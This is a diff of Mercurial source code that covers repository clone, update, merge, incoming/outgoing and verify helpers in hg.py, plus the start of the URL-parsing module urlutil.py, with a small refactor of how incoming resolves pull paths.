909 909 for rev in revs:
910 910 with srcpeer.commandexecutor() as e:
911 911 remoterevs.append(
912 912 e.callcommand(
913 913 b'lookup',
914 914 {
915 915 b'key': rev,
916 916 },
917 917 ).result()
918 918 )
919 919 revs = remoterevs
920 920
921 921 checkout = revs[0]
922 922 else:
923 923 revs = None
924 924 local = destpeer.local()
925 925 if local:
926 926 if narrow:
927 927 with local.wlock(), local.lock():
928 928 local.setnarrowpats(storeincludepats, storeexcludepats)
929 929 narrowspec.copytoworkingcopy(local)
930 930
931 931 u = urlutil.url(abspath)
932 932 defaulturl = bytes(u)
933 933 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
934 934 if not stream:
935 935 if pull:
936 936 stream = False
937 937 else:
938 938 stream = None
939 939 # internal config: ui.quietbookmarkmove
940 940 overrides = {(b'ui', b'quietbookmarkmove'): True}
941 941 with local.ui.configoverride(overrides, b'clone'):
942 942 exchange.pull(
943 943 local,
944 944 srcpeer,
945 945 revs,
946 946 streamclonerequested=stream,
947 947 includepats=storeincludepats,
948 948 excludepats=storeexcludepats,
949 949 depth=depth,
950 950 )
951 951 elif srcrepo:
952 952 # TODO lift restriction once exchange.push() accepts narrow
953 953 # push.
954 954 if narrow:
955 955 raise error.Abort(
956 956 _(
957 957 b'narrow clone not available for '
958 958 b'remote destinations'
959 959 )
960 960 )
961 961
962 962 exchange.push(
963 963 srcrepo,
964 964 destpeer,
965 965 revs=revs,
966 966 bookmarks=srcrepo._bookmarks.keys(),
967 967 )
968 968 else:
969 969 raise error.Abort(
970 970 _(b"clone from remote to remote not supported")
971 971 )
972 972
973 973 cleandir = None
974 974
975 975 destrepo = destpeer.local()
976 976 if destrepo:
977 977 template = uimod.samplehgrcs[b'cloned']
978 978 u = urlutil.url(abspath)
979 979 u.passwd = None
980 980 defaulturl = bytes(u)
981 981 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
982 982 destrepo.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
983 983
984 984 if ui.configbool(b'experimental', b'remotenames'):
985 985 logexchange.pullremotenames(destrepo, srcpeer)
986 986
987 987 if update:
988 988 if update is not True:
989 989 with srcpeer.commandexecutor() as e:
990 990 checkout = e.callcommand(
991 991 b'lookup',
992 992 {
993 993 b'key': update,
994 994 },
995 995 ).result()
996 996
997 997 uprev = None
998 998 status = None
999 999 if checkout is not None:
1000 1000 # Some extensions (at least hg-git and hg-subversion) have
1001 1001 # a peer.lookup() implementation that returns a name instead
1002 1002 # of a nodeid. We work around it here until we've figured
1003 1003 # out a better solution.
1004 1004 if len(checkout) == 20 and checkout in destrepo:
1005 1005 uprev = checkout
1006 1006 elif scmutil.isrevsymbol(destrepo, checkout):
1007 1007 uprev = scmutil.revsymbol(destrepo, checkout).node()
1008 1008 else:
1009 1009 if update is not True:
1010 1010 try:
1011 1011 uprev = destrepo.lookup(update)
1012 1012 except error.RepoLookupError:
1013 1013 pass
1014 1014 if uprev is None:
1015 1015 try:
1016 1016 if destrepo._activebookmark:
1017 1017 uprev = destrepo.lookup(destrepo._activebookmark)
1018 1018 update = destrepo._activebookmark
1019 1019 else:
1020 1020 uprev = destrepo._bookmarks[b'@']
1021 1021 update = b'@'
1022 1022 bn = destrepo[uprev].branch()
1023 1023 if bn == b'default':
1024 1024 status = _(b"updating to bookmark %s\n" % update)
1025 1025 else:
1026 1026 status = (
1027 1027 _(b"updating to bookmark %s on branch %s\n")
1028 1028 ) % (update, bn)
1029 1029 except KeyError:
1030 1030 try:
1031 1031 uprev = destrepo.branchtip(b'default')
1032 1032 except error.RepoLookupError:
1033 1033 uprev = destrepo.lookup(b'tip')
1034 1034 if not status:
1035 1035 bn = destrepo[uprev].branch()
1036 1036 status = _(b"updating to branch %s\n") % bn
1037 1037 destrepo.ui.status(status)
1038 1038 _update(destrepo, uprev)
1039 1039 if update in destrepo._bookmarks:
1040 1040 bookmarks.activate(destrepo, update)
1041 1041 if destlock is not None:
1042 1042 release(destlock)
1043 1043 # here is a tiny windows were someone could end up writing the
1044 1044 # repository before the cache are sure to be warm. This is "fine"
1045 1045 # as the only "bad" outcome would be some slowness. That potential
1046 1046 # slowness already affect reader.
1047 1047 with destrepo.lock():
1048 1048 destrepo.updatecaches(caches=repositorymod.CACHES_POST_CLONE)
1049 1049 finally:
1050 1050 release(srclock, destlock)
1051 1051 if cleandir is not None:
1052 1052 shutil.rmtree(cleandir, True)
1053 1053 if srcpeer is not None:
1054 1054 srcpeer.close()
1055 1055 if destpeer and destpeer.local() is None:
1056 1056 destpeer.close()
1057 1057 return srcpeer, destpeer
1058 1058
1059 1059
1060 1060 def _showstats(repo, stats, quietempty=False):
1061 1061 if quietempty and stats.isempty():
1062 1062 return
1063 1063 repo.ui.status(
1064 1064 _(
1065 1065 b"%d files updated, %d files merged, "
1066 1066 b"%d files removed, %d files unresolved\n"
1067 1067 )
1068 1068 % (
1069 1069 stats.updatedcount,
1070 1070 stats.mergedcount,
1071 1071 stats.removedcount,
1072 1072 stats.unresolvedcount,
1073 1073 )
1074 1074 )
1075 1075
1076 1076
1077 1077 def updaterepo(repo, node, overwrite, updatecheck=None):
1078 1078 """Update the working directory to node.
1079 1079
1080 1080 When overwrite is set, changes are clobbered, merged else
1081 1081
1082 1082 returns stats (see pydoc mercurial.merge.applyupdates)"""
1083 1083 repo.ui.deprecwarn(
1084 1084 b'prefer merge.update() or merge.clean_update() over hg.updaterepo()',
1085 1085 b'5.7',
1086 1086 )
1087 1087 return mergemod._update(
1088 1088 repo,
1089 1089 node,
1090 1090 branchmerge=False,
1091 1091 force=overwrite,
1092 1092 labels=[b'working copy', b'destination'],
1093 1093 updatecheck=updatecheck,
1094 1094 )
1095 1095
1096 1096
1097 1097 def update(repo, node, quietempty=False, updatecheck=None):
1098 1098 """update the working directory to node"""
1099 1099 stats = mergemod.update(repo[node], updatecheck=updatecheck)
1100 1100 _showstats(repo, stats, quietempty)
1101 1101 if stats.unresolvedcount:
1102 1102 repo.ui.status(_(b"use 'hg resolve' to retry unresolved file merges\n"))
1103 1103 return stats.unresolvedcount > 0
1104 1104
1105 1105
1106 1106 # naming conflict in clone()
1107 1107 _update = update
1108 1108
1109 1109
1110 1110 def clean(repo, node, show_stats=True, quietempty=False):
1111 1111 """forcibly switch the working directory to node, clobbering changes"""
1112 1112 stats = mergemod.clean_update(repo[node])
1113 1113 assert stats.unresolvedcount == 0
1114 1114 if show_stats:
1115 1115 _showstats(repo, stats, quietempty)
1116 1116 return False
1117 1117
1118 1118
1119 1119 # naming conflict in updatetotally()
1120 1120 _clean = clean
1121 1121
1122 1122 _VALID_UPDATECHECKS = {
1123 1123 mergemod.UPDATECHECK_ABORT,
1124 1124 mergemod.UPDATECHECK_NONE,
1125 1125 mergemod.UPDATECHECK_LINEAR,
1126 1126 mergemod.UPDATECHECK_NO_CONFLICT,
1127 1127 }
1128 1128
1129 1129
1130 1130 def updatetotally(ui, repo, checkout, brev, clean=False, updatecheck=None):
1131 1131 """Update the working directory with extra care for non-file components
1132 1132
1133 1133 This takes care of non-file components below:
1134 1134
1135 1135 :bookmark: might be advanced or (in)activated
1136 1136
1137 1137 This takes arguments below:
1138 1138
1139 1139 :checkout: to which revision the working directory is updated
1140 1140 :brev: a name, which might be a bookmark to be activated after updating
1141 1141 :clean: whether changes in the working directory can be discarded
1142 1142 :updatecheck: how to deal with a dirty working directory
1143 1143
1144 1144 Valid values for updatecheck are the UPDATECHECK_* constants
1145 1145 defined in the merge module. Passing `None` will result in using the
1146 1146 configured default.
1147 1147
1148 1148 * ABORT: abort if the working directory is dirty
1149 1149 * NONE: don't check (merge working directory changes into destination)
1150 1150 * LINEAR: check that update is linear before merging working directory
1151 1151 changes into destination
1152 1152 * NO_CONFLICT: check that the update does not result in file merges
1153 1153
1154 1154 This returns whether conflict is detected at updating or not.
1155 1155 """
1156 1156 if updatecheck is None:
1157 1157 updatecheck = ui.config(b'commands', b'update.check')
1158 1158 if updatecheck not in _VALID_UPDATECHECKS:
1159 1159 # If not configured, or invalid value configured
1160 1160 updatecheck = mergemod.UPDATECHECK_LINEAR
1161 1161 if updatecheck not in _VALID_UPDATECHECKS:
1162 1162 raise ValueError(
1163 1163 r'Invalid updatecheck value %r (can accept %r)'
1164 1164 % (updatecheck, _VALID_UPDATECHECKS)
1165 1165 )
1166 1166 with repo.wlock():
1167 1167 movemarkfrom = None
1168 1168 warndest = False
1169 1169 if checkout is None:
1170 1170 updata = destutil.destupdate(repo, clean=clean)
1171 1171 checkout, movemarkfrom, brev = updata
1172 1172 warndest = True
1173 1173
1174 1174 if clean:
1175 1175 ret = _clean(repo, checkout)
1176 1176 else:
1177 1177 if updatecheck == mergemod.UPDATECHECK_ABORT:
1178 1178 cmdutil.bailifchanged(repo, merge=False)
1179 1179 updatecheck = mergemod.UPDATECHECK_NONE
1180 1180 ret = _update(repo, checkout, updatecheck=updatecheck)
1181 1181
1182 1182 if not ret and movemarkfrom:
1183 1183 if movemarkfrom == repo[b'.'].node():
1184 1184 pass # no-op update
1185 1185 elif bookmarks.update(repo, [movemarkfrom], repo[b'.'].node()):
1186 1186 b = ui.label(repo._activebookmark, b'bookmarks.active')
1187 1187 ui.status(_(b"updating bookmark %s\n") % b)
1188 1188 else:
1189 1189 # this can happen with a non-linear update
1190 1190 b = ui.label(repo._activebookmark, b'bookmarks')
1191 1191 ui.status(_(b"(leaving bookmark %s)\n") % b)
1192 1192 bookmarks.deactivate(repo)
1193 1193 elif brev in repo._bookmarks:
1194 1194 if brev != repo._activebookmark:
1195 1195 b = ui.label(brev, b'bookmarks.active')
1196 1196 ui.status(_(b"(activating bookmark %s)\n") % b)
1197 1197 bookmarks.activate(repo, brev)
1198 1198 elif brev:
1199 1199 if repo._activebookmark:
1200 1200 b = ui.label(repo._activebookmark, b'bookmarks')
1201 1201 ui.status(_(b"(leaving bookmark %s)\n") % b)
1202 1202 bookmarks.deactivate(repo)
1203 1203
1204 1204 if warndest:
1205 1205 destutil.statusotherdests(ui, repo)
1206 1206
1207 1207 return ret
1208 1208
1209 1209
1210 1210 def merge(
1211 1211 ctx,
1212 1212 force=False,
1213 1213 remind=True,
1214 1214 labels=None,
1215 1215 ):
1216 1216 """Branch merge with node, resolving changes. Return true if any
1217 1217 unresolved conflicts."""
1218 1218 repo = ctx.repo()
1219 1219 stats = mergemod.merge(ctx, force=force, labels=labels)
1220 1220 _showstats(repo, stats)
1221 1221 if stats.unresolvedcount:
1222 1222 repo.ui.status(
1223 1223 _(
1224 1224 b"use 'hg resolve' to retry unresolved file merges "
1225 1225 b"or 'hg merge --abort' to abandon\n"
1226 1226 )
1227 1227 )
1228 1228 elif remind:
1229 1229 repo.ui.status(_(b"(branch merge, don't forget to commit)\n"))
1230 1230 return stats.unresolvedcount > 0
1231 1231
1232 1232
1233 1233 def abortmerge(ui, repo):
1234 1234 ms = mergestatemod.mergestate.read(repo)
1235 1235 if ms.active():
1236 1236 # there were conflicts
1237 1237 node = ms.localctx.hex()
1238 1238 else:
1239 1239 # there were no conficts, mergestate was not stored
1240 1240 node = repo[b'.'].hex()
1241 1241
1242 1242 repo.ui.status(_(b"aborting the merge, updating back to %s\n") % node[:12])
1243 1243 stats = mergemod.clean_update(repo[node])
1244 1244 assert stats.unresolvedcount == 0
1245 1245 _showstats(repo, stats)
1246 1246
1247 1247
1248 1248 def _incoming(
1249 1249 displaychlist,
1250 1250 subreporecurse,
1251 1251 ui,
1252 1252 repo,
1253 1253 source,
1254 1254 opts,
1255 1255 buffered=False,
1256 1256 subpath=None,
1257 1257 ):
1258 1258 """
1259 1259 Helper for incoming / gincoming.
1260 1260 displaychlist gets called with
1261 1261 (remoterepo, incomingchangesetlist, displayer) parameters,
1262 1262 and is supposed to contain only code that can't be unified.
1263 1263 """
1264 srcs = urlutil.get_pull_paths(repo, ui, [source], opts.get(b'branch'))
1264 srcs = urlutil.get_pull_paths(repo, ui, [source])
1265 1265 srcs = list(srcs)
1266 1266 if len(srcs) != 1:
1267 1267 msg = _(b'for now, incoming supports only a single source, %d provided')
1268 1268 msg %= len(srcs)
1269 1269 raise error.Abort(msg)
1270 source, branches = srcs[0]
1270 path = srcs[0]
1271 source, branches = urlutil.parseurl(path.rawloc, opts.get(b'branch'))
1271 1272 if subpath is not None:
1272 1273 subpath = urlutil.url(subpath)
1273 1274 if subpath.isabs():
1274 1275 source = bytes(subpath)
1275 1276 else:
1276 1277 p = urlutil.url(source)
1277 1278 p.path = os.path.normpath(b'%s/%s' % (p.path, subpath))
1278 1279 source = bytes(p)
1279 1280 other = peer(repo, opts, source)
1280 1281 cleanupfn = other.close
1281 1282 try:
1282 1283 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
1283 1284 revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
1284 1285
1285 1286 if revs:
1286 1287 revs = [other.lookup(rev) for rev in revs]
1287 1288 other, chlist, cleanupfn = bundlerepo.getremotechanges(
1288 1289 ui, repo, other, revs, opts.get(b"bundle"), opts.get(b"force")
1289 1290 )
1290 1291
1291 1292 if not chlist:
1292 1293 ui.status(_(b"no changes found\n"))
1293 1294 return subreporecurse()
1294 1295 ui.pager(b'incoming')
1295 1296 displayer = logcmdutil.changesetdisplayer(
1296 1297 ui, other, opts, buffered=buffered
1297 1298 )
1298 1299 displaychlist(other, chlist, displayer)
1299 1300 displayer.close()
1300 1301 finally:
1301 1302 cleanupfn()
1302 1303 subreporecurse()
1303 1304 return 0 # exit code is zero since we found incoming changes
1304 1305
1305 1306
1306 1307 def incoming(ui, repo, source, opts, subpath=None):
1307 1308 def subreporecurse():
1308 1309 ret = 1
1309 1310 if opts.get(b'subrepos'):
1310 1311 ctx = repo[None]
1311 1312 for subpath in sorted(ctx.substate):
1312 1313 sub = ctx.sub(subpath)
1313 1314 ret = min(ret, sub.incoming(ui, source, opts))
1314 1315 return ret
1315 1316
1316 1317 def display(other, chlist, displayer):
1317 1318 limit = logcmdutil.getlimit(opts)
1318 1319 if opts.get(b'newest_first'):
1319 1320 chlist.reverse()
1320 1321 count = 0
1321 1322 for n in chlist:
1322 1323 if limit is not None and count >= limit:
1323 1324 break
1324 1325 parents = [
1325 1326 p for p in other.changelog.parents(n) if p != repo.nullid
1326 1327 ]
1327 1328 if opts.get(b'no_merges') and len(parents) == 2:
1328 1329 continue
1329 1330 count += 1
1330 1331 displayer.show(other[n])
1331 1332
1332 1333 return _incoming(
1333 1334 display, subreporecurse, ui, repo, source, opts, subpath=subpath
1334 1335 )
1335 1336
1336 1337
1337 1338 def _outgoing(ui, repo, dests, opts, subpath=None):
1338 1339 out = set()
1339 1340 others = []
1340 1341 for path in urlutil.get_push_paths(repo, ui, dests):
1341 1342 dest = path.pushloc or path.loc
1342 1343 if subpath is not None:
1343 1344 subpath = urlutil.url(subpath)
1344 1345 if subpath.isabs():
1345 1346 dest = bytes(subpath)
1346 1347 else:
1347 1348 p = urlutil.url(dest)
1348 1349 p.path = os.path.normpath(b'%s/%s' % (p.path, subpath))
1349 1350 dest = bytes(p)
1350 1351 branches = path.branch, opts.get(b'branch') or []
1351 1352
1352 1353 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
1353 1354 revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
1354 1355 if revs:
1355 1356 revs = [repo[rev].node() for rev in logcmdutil.revrange(repo, revs)]
1356 1357
1357 1358 other = peer(repo, opts, dest)
1358 1359 try:
1359 1360 outgoing = discovery.findcommonoutgoing(
1360 1361 repo, other, revs, force=opts.get(b'force')
1361 1362 )
1362 1363 o = outgoing.missing
1363 1364 out.update(o)
1364 1365 if not o:
1365 1366 scmutil.nochangesfound(repo.ui, repo, outgoing.excluded)
1366 1367 others.append(other)
1367 1368 except: # re-raises
1368 1369 other.close()
1369 1370 raise
1370 1371 # make sure this is ordered by revision number
1371 1372 outgoing_revs = list(out)
1372 1373 cl = repo.changelog
1373 1374 outgoing_revs.sort(key=cl.rev)
1374 1375 return outgoing_revs, others
1375 1376
1376 1377
1377 1378 def _outgoing_recurse(ui, repo, dests, opts):
1378 1379 ret = 1
1379 1380 if opts.get(b'subrepos'):
1380 1381 ctx = repo[None]
1381 1382 for subpath in sorted(ctx.substate):
1382 1383 sub = ctx.sub(subpath)
1383 1384 ret = min(ret, sub.outgoing(ui, dests, opts))
1384 1385 return ret
1385 1386
1386 1387
1387 1388 def _outgoing_filter(repo, revs, opts):
1388 1389 """apply revision filtering/ordering option for outgoing"""
1389 1390 limit = logcmdutil.getlimit(opts)
1390 1391 no_merges = opts.get(b'no_merges')
1391 1392 if opts.get(b'newest_first'):
1392 1393 revs.reverse()
1393 1394 if limit is None and not no_merges:
1394 1395 for r in revs:
1395 1396 yield r
1396 1397 return
1397 1398
1398 1399 count = 0
1399 1400 cl = repo.changelog
1400 1401 for n in revs:
1401 1402 if limit is not None and count >= limit:
1402 1403 break
1403 1404 parents = [p for p in cl.parents(n) if p != repo.nullid]
1404 1405 if no_merges and len(parents) == 2:
1405 1406 continue
1406 1407 count += 1
1407 1408 yield n
1408 1409
1409 1410
1410 1411 def outgoing(ui, repo, dests, opts, subpath=None):
1411 1412 if opts.get(b'graph'):
1412 1413 logcmdutil.checkunsupportedgraphflags([], opts)
1413 1414 o, others = _outgoing(ui, repo, dests, opts, subpath=subpath)
1414 1415 ret = 1
1415 1416 try:
1416 1417 if o:
1417 1418 ret = 0
1418 1419
1419 1420 if opts.get(b'graph'):
1420 1421 revdag = logcmdutil.graphrevs(repo, o, opts)
1421 1422 ui.pager(b'outgoing')
1422 1423 displayer = logcmdutil.changesetdisplayer(
1423 1424 ui, repo, opts, buffered=True
1424 1425 )
1425 1426 logcmdutil.displaygraph(
1426 1427 ui, repo, revdag, displayer, graphmod.asciiedges
1427 1428 )
1428 1429 else:
1429 1430 ui.pager(b'outgoing')
1430 1431 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
1431 1432 for n in _outgoing_filter(repo, o, opts):
1432 1433 displayer.show(repo[n])
1433 1434 displayer.close()
1434 1435 for oth in others:
1435 1436 cmdutil.outgoinghooks(ui, repo, oth, opts, o)
1436 1437 ret = min(ret, _outgoing_recurse(ui, repo, dests, opts))
1437 1438 return ret # exit code is zero since we found outgoing changes
1438 1439 finally:
1439 1440 for oth in others:
1440 1441 oth.close()
1441 1442
1442 1443
1443 1444 def verify(repo, level=None):
1444 1445 """verify the consistency of a repository"""
1445 1446 ret = verifymod.verify(repo, level=level)
1446 1447
1447 1448 # Broken subrepo references in hidden csets don't seem worth worrying about,
1448 1449 # since they can't be pushed/pulled, and --hidden can be used if they are a
1449 1450 # concern.
1450 1451
1451 1452 # pathto() is needed for -R case
1452 1453 revs = repo.revs(
1453 1454 b"filelog(%s)", util.pathto(repo.root, repo.getcwd(), b'.hgsubstate')
1454 1455 )
1455 1456
1456 1457 if revs:
1457 1458 repo.ui.status(_(b'checking subrepo links\n'))
1458 1459 for rev in revs:
1459 1460 ctx = repo[rev]
1460 1461 try:
1461 1462 for subpath in ctx.substate:
1462 1463 try:
1463 1464 ret = (
1464 1465 ctx.sub(subpath, allowcreate=False).verify() or ret
1465 1466 )
1466 1467 except error.RepoError as e:
1467 1468 repo.ui.warn(b'%d: %s\n' % (rev, e))
1468 1469 except Exception:
1469 1470 repo.ui.warn(
1470 1471 _(b'.hgsubstate is corrupt in revision %s\n')
1471 1472 % short(ctx.node())
1472 1473 )
1473 1474
1474 1475 return ret
1475 1476
1476 1477
1477 1478 def remoteui(src, opts):
1478 1479 """build a remote ui from ui or repo and opts"""
1479 1480 if util.safehasattr(src, b'baseui'): # looks like a repository
1480 1481 dst = src.baseui.copy() # drop repo-specific config
1481 1482 src = src.ui # copy target options from repo
1482 1483 else: # assume it's a global ui object
1483 1484 dst = src.copy() # keep all global options
1484 1485
1485 1486 # copy ssh-specific options
1486 1487 for o in b'ssh', b'remotecmd':
1487 1488 v = opts.get(o) or src.config(b'ui', o)
1488 1489 if v:
1489 1490 dst.setconfig(b"ui", o, v, b'copied')
1490 1491
1491 1492 # copy bundle-specific options
1492 1493 r = src.config(b'bundle', b'mainreporoot')
1493 1494 if r:
1494 1495 dst.setconfig(b'bundle', b'mainreporoot', r, b'copied')
1495 1496
1496 1497 # copy selected local settings to the remote ui
1497 1498 for sect in (b'auth', b'hostfingerprints', b'hostsecurity', b'http_proxy'):
1498 1499 for key, val in src.configitems(sect):
1499 1500 dst.setconfig(sect, key, val, b'copied')
1500 1501 v = src.config(b'web', b'cacerts')
1501 1502 if v:
1502 1503 dst.setconfig(b'web', b'cacerts', util.expandpath(v), b'copied')
1503 1504
1504 1505 return dst
1505 1506
1506 1507
1507 1508 # Files of interest
1508 1509 # Used to check if the repository has changed looking at mtime and size of
1509 1510 # these files.
1510 1511 foi = [
1511 1512 (b'spath', b'00changelog.i'),
1512 1513 (b'spath', b'phaseroots'), # ! phase can change content at the same size
1513 1514 (b'spath', b'obsstore'),
1514 1515 (b'path', b'bookmarks'), # ! bookmark can change content at the same size
1515 1516 ]
1516 1517
1517 1518
1518 1519 class cachedlocalrepo(object):
1519 1520 """Holds a localrepository that can be cached and reused."""
1520 1521
1521 1522 def __init__(self, repo):
1522 1523 """Create a new cached repo from an existing repo.
1523 1524
1524 1525 We assume the passed in repo was recently created. If the
1525 1526 repo has changed between when it was created and when it was
1526 1527 turned into a cache, it may not refresh properly.
1527 1528 """
1528 1529 assert isinstance(repo, localrepo.localrepository)
1529 1530 self._repo = repo
1530 1531 self._state, self.mtime = self._repostate()
1531 1532 self._filtername = repo.filtername
1532 1533
1533 1534 def fetch(self):
1534 1535 """Refresh (if necessary) and return a repository.
1535 1536
1536 1537 If the cached instance is out of date, it will be recreated
1537 1538 automatically and returned.
1538 1539
1539 1540 Returns a tuple of the repo and a boolean indicating whether a new
1540 1541 repo instance was created.
1541 1542 """
1542 1543 # We compare the mtimes and sizes of some well-known files to
1543 1544 # determine if the repo changed. This is not precise, as mtimes
1544 1545 # are susceptible to clock skew and imprecise filesystems and
1545 1546 # file content can change while maintaining the same size.
1546 1547
1547 1548 state, mtime = self._repostate()
1548 1549 if state == self._state:
1549 1550 return self._repo, False
1550 1551
1551 1552 repo = repository(self._repo.baseui, self._repo.url())
1552 1553 if self._filtername:
1553 1554 self._repo = repo.filtered(self._filtername)
1554 1555 else:
1555 1556 self._repo = repo.unfiltered()
1556 1557 self._state = state
1557 1558 self.mtime = mtime
1558 1559
1559 1560 return self._repo, True
1560 1561
1561 1562 def _repostate(self):
1562 1563 state = []
1563 1564 maxmtime = -1
1564 1565 for attr, fname in foi:
1565 1566 prefix = getattr(self._repo, attr)
1566 1567 p = os.path.join(prefix, fname)
1567 1568 try:
1568 1569 st = os.stat(p)
1569 1570 except OSError:
1570 1571 st = os.stat(prefix)
1571 1572 state.append((st[stat.ST_MTIME], st.st_size))
1572 1573 maxmtime = max(maxmtime, st[stat.ST_MTIME])
1573 1574
1574 1575 return tuple(state), maxmtime
1575 1576
1576 1577 def copy(self):
1577 1578 """Obtain a copy of this class instance.
1578 1579
1579 1580 A new localrepository instance is obtained. The new instance should be
1580 1581 completely independent of the original.
1581 1582 """
1582 1583 repo = repository(self._repo.baseui, self._repo.origroot)
1583 1584 if self._filtername:
1584 1585 repo = repo.filtered(self._filtername)
1585 1586 else:
1586 1587 repo = repo.unfiltered()
1587 1588 c = cachedlocalrepo(repo)
1588 1589 c._state = self._state
1589 1590 c.mtime = self.mtime
1590 1591 return c
@@ -1,930 +1,930 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27
28 28 if pycompat.TYPE_CHECKING:
29 29 from typing import (
30 30 Union,
31 31 )
32 32
33 33 urlreq = urllibcompat.urlreq
34 34
35 35
36 36 def getport(port):
37 37 # type: (Union[bytes, int]) -> int
38 38 """Return the port for a given network service.
39 39
40 40 If port is an integer, it's returned as is. If it's a string, it's
41 41 looked up using socket.getservbyname(). If there's no matching
42 42 service, error.Abort is raised.
43 43 """
44 44 try:
45 45 return int(port)
46 46 except ValueError:
47 47 pass
48 48
49 49 try:
50 50 return socket.getservbyname(pycompat.sysstr(port))
51 51 except socket.error:
52 52 raise error.Abort(
53 53 _(b"no port number associated with service '%s'") % port
54 54 )
55 55
56 56
57 57 class url(object):
58 58 r"""Reliable URL parser.
59 59
60 60 This parses URLs and provides attributes for the following
61 61 components:
62 62
63 63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64 64
65 65 Missing components are set to None. The only exception is
66 66 fragment, which is set to '' if present but empty.
67 67
68 68 If parsefragment is False, fragment is included in query. If
69 69 parsequery is False, query is included in path. If both are
70 70 False, both fragment and query are included in path.
71 71
72 72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73 73
74 74 Note that for backward compatibility reasons, bundle URLs do not
75 75 take host names. That means 'bundle://../' has a path of '../'.
76 76
77 77 Examples:
78 78
79 79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 83 >>> url(b'file:///home/joe/repo')
84 84 <url scheme: 'file', path: '/home/joe/repo'>
85 85 >>> url(b'file:///c:/temp/foo/')
86 86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 87 >>> url(b'bundle:foo')
88 88 <url scheme: 'bundle', path: 'foo'>
89 89 >>> url(b'bundle://../foo')
90 90 <url scheme: 'bundle', path: '../foo'>
91 91 >>> url(br'c:\foo\bar')
92 92 <url path: 'c:\\foo\\bar'>
93 93 >>> url(br'\\blah\blah\blah')
94 94 <url path: '\\\\blah\\blah\\blah'>
95 95 >>> url(br'\\blah\blah\blah#baz')
96 96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 97 >>> url(br'file:///C:\users\me')
98 98 <url scheme: 'file', path: 'C:\\users\\me'>
99 99
100 100 Authentication credentials:
101 101
102 102 >>> url(b'ssh://joe:xyz@x/repo')
103 103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 104 >>> url(b'ssh://joe@x/repo')
105 105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106 106
107 107 Query strings and fragments:
108 108
109 109 >>> url(b'http://host/a?b#c')
110 110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113 113
114 114 Empty path:
115 115
116 116 >>> url(b'')
117 117 <url path: ''>
118 118 >>> url(b'#a')
119 119 <url path: '', fragment: 'a'>
120 120 >>> url(b'http://host/')
121 121 <url scheme: 'http', host: 'host', path: ''>
122 122 >>> url(b'http://host/#a')
123 123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124 124
125 125 Only scheme:
126 126
127 127 >>> url(b'http:')
128 128 <url scheme: 'http'>
129 129 """
130 130
131 131 _safechars = b"!~*'()+"
132 132 _safepchars = b"/!~*'()+:\\"
133 133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134 134
135 135 def __init__(self, path, parsequery=True, parsefragment=True):
136 136 # type: (bytes, bool, bool) -> None
137 137 # We slowly chomp away at path until we have only the path left
138 138 self.scheme = self.user = self.passwd = self.host = None
139 139 self.port = self.path = self.query = self.fragment = None
140 140 self._localpath = True
141 141 self._hostport = b''
142 142 self._origpath = path
143 143
144 144 if parsefragment and b'#' in path:
145 145 path, self.fragment = path.split(b'#', 1)
146 146
147 147 # special case for Windows drive letters and UNC paths
148 148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 149 self.path = path
150 150 return
151 151
152 152 # For compatibility reasons, we can't handle bundle paths as
153 153 # normal URLS
154 154 if path.startswith(b'bundle:'):
155 155 self.scheme = b'bundle'
156 156 path = path[7:]
157 157 if path.startswith(b'//'):
158 158 path = path[2:]
159 159 self.path = path
160 160 return
161 161
162 162 if self._matchscheme(path):
163 163 parts = path.split(b':', 1)
164 164 if parts[0]:
165 165 self.scheme, path = parts
166 166 self._localpath = False
167 167
168 168 if not path:
169 169 path = None
170 170 if self._localpath:
171 171 self.path = b''
172 172 return
173 173 else:
174 174 if self._localpath:
175 175 self.path = path
176 176 return
177 177
178 178 if parsequery and b'?' in path:
179 179 path, self.query = path.split(b'?', 1)
180 180 if not path:
181 181 path = None
182 182 if not self.query:
183 183 self.query = None
184 184
185 185 # // is required to specify a host/authority
186 186 if path and path.startswith(b'//'):
187 187 parts = path[2:].split(b'/', 1)
188 188 if len(parts) > 1:
189 189 self.host, path = parts
190 190 else:
191 191 self.host = parts[0]
192 192 path = None
193 193 if not self.host:
194 194 self.host = None
195 195 # path of file:///d is /d
196 196 # path of file:///d:/ is d:/, not /d:/
197 197 if path and not hasdriveletter(path):
198 198 path = b'/' + path
199 199
200 200 if self.host and b'@' in self.host:
201 201 self.user, self.host = self.host.rsplit(b'@', 1)
202 202 if b':' in self.user:
203 203 self.user, self.passwd = self.user.split(b':', 1)
204 204 if not self.host:
205 205 self.host = None
206 206
